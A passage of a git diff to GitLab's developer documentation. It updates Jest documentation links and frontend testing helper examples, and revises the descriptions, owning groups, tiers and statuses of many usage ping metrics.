- wrapper.findByTestId('my-foo-id'); // with the extendedWrapper utility – check below
+ wrapper.findByTestId('my-foo-id'); // with shallowMountExtended or mountExtended – check below
wrapper.find({ ref: 'foo'});
// Bad
@@ -376,7 +387,7 @@ Sometimes we have to test time-sensitive code. For example, recurring events tha
If the application itself is waiting for some time, mock await the waiting. In Jest this is already
[done by default](https://gitlab.com/gitlab-org/gitlab/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47)
-(see also [Jest Timer Mocks](https://jestjs.io/docs/en/timer-mocks)). In Karma you can use the
+(see also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks)). In Karma you can use the
[Jasmine mock clock](https://jasmine.github.io/api/2.9/Clock.html).
```javascript
@@ -564,9 +575,9 @@ This is however not entirely true as the `destroy` method does not remove everyt
#### Prefer `toBe` over `toEqual` when comparing primitive values
-Jest has [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) and
-[`toEqual`](https://jestjs.io/docs/en/expect#toequalvalue) matchers.
-As [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) uses
+Jest has [`toBe`](https://jestjs.io/docs/expect#tobevalue) and
+[`toEqual`](https://jestjs.io/docs/expect#toequalvalue) matchers.
+As [`toBe`](https://jestjs.io/docs/expect#tobevalue) uses
[`Object.is`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)
to compare values, it's faster (by default) than using `toEqual`.
While the latter eventually falls back to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91),
@@ -588,7 +599,7 @@ expect(foo).toBe(1);
Jest provides useful matchers like `toHaveLength` or `toBeUndefined` to make your tests more
readable and to produce more understandable error messages. Check their docs for the
-[full list of matchers](https://jestjs.io/docs/en/expect#methods).
+[full list of matchers](https://jestjs.io/docs/expect#methods).
Examples:
@@ -719,7 +730,7 @@ TBU
Jasmine provides stubbing and mocking capabilities. There are some subtle differences in how to use it within Karma and Jest.
Stubs or spies are often used synonymously. In Jest it's quite easy thanks to the `.spyOn` method.
-[Official docs](https://jestjs.io/docs/en/jest-object#jestspyonobject-methodname)
+[Official docs](https://jestjs.io/docs/jest-object#jestspyonobject-methodname)
The more challenging part are mocks, which can be used for functions or even dependencies.
### Manual module mocks
@@ -728,12 +739,12 @@ Manual mocks are used to mock modules across the entire Jest environment. This i
unit testing by mocking out modules which cannot be easily consumed in our test environment.
> **WARNING:** Do not use manual mocks if a mock should not be consistently applied in every spec (i.e. it's only needed by a few specs).
-> Instead, consider using [`jest.mock(..)`](https://jestjs.io/docs/en/jest-object#jestmockmodulename-factory-options)
+> Instead, consider using [`jest.mock(..)`](https://jestjs.io/docs/jest-object#jestmockmodulename-factory-options)
> (or a similar mocking function) in the relevant spec file.
#### Where should I put manual mocks?
-Jest supports [manual module mocks](https://jestjs.io/docs/en/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module
+Jest supports [manual module mocks](https://jestjs.io/docs/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module
(e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder).
If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of
@@ -755,7 +766,7 @@ If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`
any behavior, only provides a nice es6 compatible wrapper.
- [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) -
This mock is helpful because the Monaco package is completely incompatible in a Jest environment. In fact, webpack requires a special loader to make it work. This mock
- simply makes this package consumable by Jest.
+ makes this package consumable by Jest.
### Keep mocks light
@@ -766,7 +777,7 @@ Global mocks introduce magic and technically can reduce test coverage. When mock
### Additional mocking techniques
-Consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mock-modules) for a full overview of the available mocking features.
+Consult the [official Jest docs](https://jestjs.io/docs/jest-object#mock-modules) for a full overview of the available mocking features.
## Running Frontend Tests
@@ -939,8 +950,8 @@ it('uses some HTML element', () => {
Similar to [RSpec's parameterized tests](best_practices.md#table-based--parameterized-tests),
Jest supports data-driven tests for:
-- Individual tests using [`test.each`](https://jestjs.io/docs/en/api#testeachtable-name-fn-timeout) (aliased to `it.each`).
-- Groups of tests using [`describe.each`](https://jestjs.io/docs/en/api#describeeachtable-name-fn-timeout).
+- Individual tests using [`test.each`](https://jestjs.io/docs/api#testeachtable-name-fn-timeout) (aliased to `it.each`).
+- Groups of tests using [`describe.each`](https://jestjs.io/docs/api#describeeachtable-name-fn-timeout).
These can be useful for reducing repetition within tests. Each option can take an array of
data values or a tagged template literal.
@@ -1138,23 +1149,40 @@ These are very useful if you don't have a handle to the request's Promise, for e
Both functions run `callback` on the next tick after the requests finish (using `setImmediate()`), to allow any `.then()` or `.catch()` handlers to run.
-### `extendedWrapper` and `findByTestId`
+### `shallowMountExtended` and `mountExtended`
-Using `data-testid` is one of the [recommended ways to query DOM elements](#how-to-query-dom-elements).
-You can use the `extendedWrapper` utility on the `wrapper` returned by `shalowMount`/`mount`.
-By doing so, the `wrapper` provides you with the ability to perform a `findByTestId`,
-which is a shortcut to the more verbose `wrapper.find('[data-testid="my-test-id"]');`
+The `shallowMountExtended` and `mountExtended` utilities provide you with the ability to perform
+any of the available [DOM Testing Library queries](https://testing-library.com/docs/queries/about)
+by prefixing them with `find` or `findAll`.
```javascript
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
describe('FooComponent', () => {
- const wrapper = extendedWrapper(shallowMount({
- template: `<div data-testid="my-test-id"></div>`,
- }));
+ const wrapper = shallowMountExtended({
+ template: `
+ <div data-testid="gitlab-frontend-stack">
+ <p>GitLab frontend stack</p>
+ <div role="tablist">
+ <button role="tab" aria-selected="true">Vue.js</button>
+ <button role="tab" aria-selected="false">GraphQL</button>
+ <button role="tab" aria-selected="false">SCSS</button>
+ </div>
+ </div>
+ `,
+ });
+
+ it('finds elements with `findByTestId`', () => {
+ expect(wrapper.findByTestId('gitlab-frontend-stack').exists()).toBe(true);
+ });
+
+ it('finds elements with `findByText`', () => {
+ expect(wrapper.findByText('GitLab frontend stack').exists()).toBe(true);
+ expect(wrapper.findByText('TypeScript').exists()).toBe(false);
+ });
- it('exists', () => {
- expect(wrapper.findByTestId('my-test-id').exists()).toBe(true);
+ it('finds elements with `findAllByRole`', () => {
+ expect(wrapper.findAllByRole('tab').length).toBe(3);
});
});
```
@@ -1189,7 +1217,7 @@ You can download any older version of Firefox from the releases FTP server, <htt
## Snapshots
-By now you've probably heard of [Jest snapshot tests](https://jestjs.io/docs/en/snapshot-testing) and why they are useful for various reasons.
+By now you've probably heard of [Jest snapshot tests](https://jestjs.io/docs/snapshot-testing) and why they are useful for various reasons.
To use them within GitLab, there are a few guidelines that should be highlighted:
- Treat snapshots as code
@@ -1199,7 +1227,7 @@ To use them within GitLab, there are a few guidelines that should be highlighted
Think of a snapshot test as a simple way to store a raw `String` representation of what you've put into the item being tested. This can be used to evaluate changes in a component, a store, a complex piece of generated output, etc. You can see more in the list below for some recommended `Do's and Don'ts`.
While snapshot tests can be a very powerful tool. They are meant to supplement, not to replace unit tests.
-Jest provides a great set of docs on [best practices](https://jestjs.io/docs/en/snapshot-testing#best-practices) that we should keep in mind when creating snapshots.
+Jest provides a great set of docs on [best practices](https://jestjs.io/docs/snapshot-testing#best-practices) that we should keep in mind when creating snapshots.
### How does a snapshot work?
@@ -1207,7 +1235,7 @@ A snapshot is purely a stringified version of what you ask to be tested on the l
Should the outcome of your spec be different from what is in the generated snapshot file, you'll be notified about it by a failing test in your test suite.
-Find all the details in Jests official documentation [https://jestjs.io/docs/en/snapshot-testing](https://jestjs.io/docs/en/snapshot-testing)
+Find all the details in Jests official documentation [https://jestjs.io/docs/snapshot-testing](https://jestjs.io/docs/snapshot-testing)
### How to take a snapshot
diff --git a/doc/development/transient/prevention-patterns.md b/doc/development/transient/prevention-patterns.md
index 2bfd188fd43..472b5756805 100644
--- a/doc/development/transient/prevention-patterns.md
+++ b/doc/development/transient/prevention-patterns.md
@@ -55,12 +55,12 @@ Including when that expanded content is:
### Using assertions to detect transient bugs caused by unmet conditions
Transient bugs happen in the context of code that executes under the assumption
-that the application’s state meets one or more conditions. We may write a feature
+that the application's state meets one or more conditions. We may write a feature
that assumes a server-side API response always include a group of attributes or that
an operation only executes when the application has successfully transitioned to a new
state.
-Transient bugs are difficult to debug because there isn’t any mechanism that alerts
+Transient bugs are difficult to debug because there isn't any mechanism that alerts
the user or the developer about unsatisfied conditions. These conditions are usually
not expressed explicitly in the code. A useful debugging technique for such situations
is placing assertions to make any assumption explicit. They can help detect the cause
diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md
index 3f596e89e29..e0176c190d6 100644
--- a/doc/development/understanding_explain_plans.md
+++ b/doc/development/understanding_explain_plans.md
@@ -280,7 +280,7 @@ FROM users
WHERE twitter != '';
```
-This query simply counts the number of users that have a Twitter profile set.
+This query counts the number of users that have a Twitter profile set.
Let's run this using `EXPLAIN (ANALYZE, BUFFERS)`:
```sql
@@ -388,7 +388,7 @@ we created the index:
CREATE INDEX CONCURRENTLY twitter_test ON users (twitter);
```
-We simply told PostgreSQL to index all possible values of the `twitter` column,
+We told PostgreSQL to index all possible values of the `twitter` column,
even empty strings. Our query in turn uses `WHERE twitter != ''`. This means
that the index does improve things, as we don't need to do a sequential scan,
but we may still encounter empty strings. This means PostgreSQL _has_ to apply a
diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md
index c0e9aa82247..cb53d088907 100644
--- a/doc/development/usage_ping/dictionary.md
+++ b/doc/development/usage_ping/dictionary.md
@@ -430,15 +430,15 @@ Tiers: `free`
### `counts.assignee_lists`
-Missing description
+Count of assignee lists created on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181100_assignee_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `counts.auto_devops_disabled`
@@ -466,7 +466,7 @@ Tiers: `free`
### `counts.boards`
-Missing description
+Count of total Boards created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181252_boards.yml)
@@ -474,7 +474,7 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.ci_builds`
@@ -790,15 +790,15 @@ Tiers: `free`
### `counts.confidential_epics`
-Missing description
+Count of confidential epics
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181205_confidential_epics.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181205_confidential_epics.yml)
-Group: `group::portfolio management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `counts.container_scanning_jobs`
@@ -962,7 +962,7 @@ Count of issues that are assigned to an epic
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181208_epic_issues.yml)
-Group: `group::portfolio management`
+Group: `group::product planning`
Status: `data_available`
@@ -970,27 +970,27 @@ Tiers: `premium`, `ultimate`
### `counts.epics`
-Missing description
+Count of all epics
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181206_epics.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181206_epics.yml)
-Group: `group::portfolio management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `counts.epics_deepest_relationship_level`
-Missing description
+Count of the deepest relationship level for epics
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181212_epics_deepest_relationship_level.yml)
-Group: `group::portfolio management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `counts.failed_deployments`
@@ -1028,18 +1028,6 @@ Status: `data_available`
Tiers: `premium`, `ultimate`
-### `counts.geo_node_usage.git_fetch_event_count_weekly`
-
-Number of Git fetch events from Prometheus on the Geo secondary
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210309194425_git_fetch_event_count_weekly.yml)
-
-Group: `group::geo`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
### `counts.geo_nodes`
Total number of sites in a Geo deployment
@@ -2056,7 +2044,7 @@ Whether or not ModSecurity is set to blocking mode
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2068,7 +2056,7 @@ Whether or not ModSecurity is disabled within Ingress
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2080,7 +2068,7 @@ Whether or not ModSecurity is set to logging mode
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2092,7 +2080,7 @@ Whether or not ModSecurity has not been installed into the cluster
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2104,7 +2092,7 @@ Cumulative count of packets identified as anomalous by ModSecurity since Usage P
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2116,7 +2104,7 @@ Cumulative count of packets processed by ModSecurity since Usage Ping was last r
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -2128,7 +2116,7 @@ Whether or not ModSecurity statistics are unavailable
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `ultimate`
@@ -2710,15 +2698,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.issues_with_health_status`
-Missing description
+Count of issues with health status
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181210_issues_with_health_status.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181210_issues_with_health_status.yml)
-Group: `group::portfolio management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.jira_imports_projects_count`
@@ -2726,7 +2714,7 @@ Count of Projects that imported Issues from Jira
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml)
-Group: `group::project management`
+Group: `group::ecosystem`
Status: `data_available`
@@ -2734,11 +2722,11 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.jira_imports_total_imported_count`
-Count of Issues imported from Jira
+Count of Jira imports completed
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml)
-Group: `group::project management`
+Group: `group::ecosystem`
Status: `data_available`
@@ -2746,11 +2734,11 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.jira_imports_total_imported_issues_count`
-Count of Jira imports run
+Count of total issues imported via the Jira Importer
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml)
-Group: `group::project management`
+Group: `group::ecosystem`
Status: `data_available`
@@ -2806,15 +2794,15 @@ Tiers: `premium`, `ultimate`
### `counts.label_lists`
-Missing description
+Count of label lists created on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181104_label_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.labels`
@@ -2822,7 +2810,7 @@ Count of Labels
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181111_labels.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
@@ -2950,27 +2938,27 @@ Tiers: `free`
### `counts.milestone_lists`
-Missing description
+Count of milestone lists created on Boards
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181106_milestone_lists.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181106_milestone_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `counts.milestones`
-Missing description
+Count of milestones created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181108_milestones.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.navbar_searches`
@@ -3014,7 +3002,7 @@ Count of Notes across all objects that use them
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181113_notes.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
@@ -3730,7 +3718,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects`
-Count of Projects
+Count of Projects created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181254_projects.yml)
@@ -3738,7 +3726,7 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_asana_active`
@@ -5914,7 +5902,7 @@ Tiers: `free`
### `counts.todos`
-Count of ToDos
+Count of todos created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181256_todos.yml)
@@ -5930,7 +5918,7 @@ Count of Uploads via Notes and Descriptions
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181109_uploads.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
@@ -5940,7 +5928,7 @@ Tiers: `free`, `premium`, `ultimate`
Count of users who set personal preference to see Details on Group overview page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml)
Group: `group::threat insights`
@@ -5952,7 +5940,7 @@ Tiers: `ultimate`
Count of users who set personal preference to see Security Dashboard on Group overview page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml)
Group: `group::threat insights`
@@ -5998,7 +5986,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.web_ide_merge_requests`
-Count of Merge Requests created from Web IDE
+Count of merge requests created from Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml)
@@ -6118,15 +6106,15 @@ Tiers: `free`
### `counts_monthly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
-Missing description
+Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per month.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml)
-Group: ``
+Group: `group::testing`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.incident_management_alerts_total_unique_counts`
@@ -6154,27 +6142,27 @@ Tiers: `free`
### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection`
-Missing description
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml)
-Group: ``
+Group: `group::product intelligence`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_union`
-Missing description
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml)
-Group: ``
+Group: `group::product intelligence`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.deployments`
@@ -6286,15 +6274,15 @@ Tiers:
### `counts_weekly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
-Missing description
+Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per week.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183219_i_testing_paid_monthly_active_user_total.yml)
-Group: ``
+Group: `group::testing`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.incident_management_alerts_total_unique_counts`
@@ -6322,27 +6310,27 @@ Tiers:
### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection`
-Missing description
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml)
-Group: ``
+Group: `group::product intelligence`
-Status: `data_available`
+Status: `removed`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_union`
-Missing description
+This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml)
-Group: ``
+Group: `group::product intelligence`
-Status: `data_available`
+Status: `removed`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `database.adapter`
@@ -6416,30 +6404,6 @@ Status: `data_available`
Tiers: `premium`, `ultimate`
-### `g_project_management_epic_created_monthly`
-
-Count of MAU creating epics
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210305144719_g_product_planning_epic_created_monthly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
-### `g_project_management_epic_created_weekly`
-
-Count of WAU creating epics
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
### `geo_enabled`
Is Geo enabled?
@@ -6616,7 +6580,7 @@ Whether or not ModSecurity is enabled within Ingress
Group: `group::container security`
-Status: `data_available`
+Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -6804,9 +6768,9 @@ Tiers: `premium`, `ultimate`
The value of the SMTP server that is used
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174829_smtp_server.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216174829_smtp_server.yml)
-Group: `group::acquisition`
+Group: `group::activation`
Status: `data_available`
@@ -7182,7 +7146,7 @@ Group: `group::product intelligence`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `recording_ee_finished_at`
@@ -7388,6 +7352,30 @@ Status: `data_available`
Tiers:
+### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_monthly`
+
+Counts visits to DevOps Adoption page per month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401092244_i_analytics_dev_ops_adoption_monthly.yml)
+
+Group: `group::optimize`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_weekly`
+
+Counts visits to DevOps Adoption page per week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401092244_i_analytics_dev_ops_adoption_weekly.yml)
+
+Group: `group::optimize`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
### `redis_hll_counters.analytics.i_analytics_dev_ops_score_monthly`
Missing description
@@ -8308,7 +8296,7 @@ Count of unique users per month who changed assignees of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8320,7 +8308,7 @@ Count of unique users per week who changed assignees of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8524,7 +8512,7 @@ Count of unique users per month who changed labels of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8536,7 +8524,7 @@ Count of unique users per week who changed labels of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8596,7 +8584,7 @@ Count of unique users per month who changed milestone of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8608,7 +8596,7 @@ Count of unique users per week who changed milestone of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8620,7 +8608,7 @@ Count of unique users per month who locked a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8632,7 +8620,7 @@ Count of unique users per week who locked a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8644,7 +8632,7 @@ Count of unique users per month who unlocked a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8656,7 +8644,7 @@ Count of unique users per week who unlocked a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8812,7 +8800,7 @@ Count of unique users per month who changed reviewers of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8824,7 +8812,7 @@ Count of unique users per week who changed reviewers of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8860,7 +8848,7 @@ Count of unique users per month who changed time estimate of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8872,7 +8860,7 @@ Count of unique users per week who changed time estimate of a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8884,7 +8872,7 @@ Count of unique users per month who changed time spent on a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8896,7 +8884,7 @@ Count of unique users per week who changed time spent on a MR
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9604,7 +9592,7 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9616,7 +9604,7 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9628,7 +9616,7 @@ Calculated unique users to trigger a Slack message by creating a confidential no
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9640,7 +9628,7 @@ Calculated unique users to trigger a Slack message by creating a confidential no
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9652,7 +9640,7 @@ Calculated unique users to trigger a Slack message by performing a deployment by
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9664,7 +9652,7 @@ Calculated unique users to trigger a Slack message by performing a deployment by
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9676,7 +9664,7 @@ Calculated unique users to trigger a Slack message by performing an action on an
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9688,7 +9676,7 @@ Calculated unique users to trigger a Slack message by performing an action on an
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9700,7 +9688,7 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9712,7 +9700,7 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
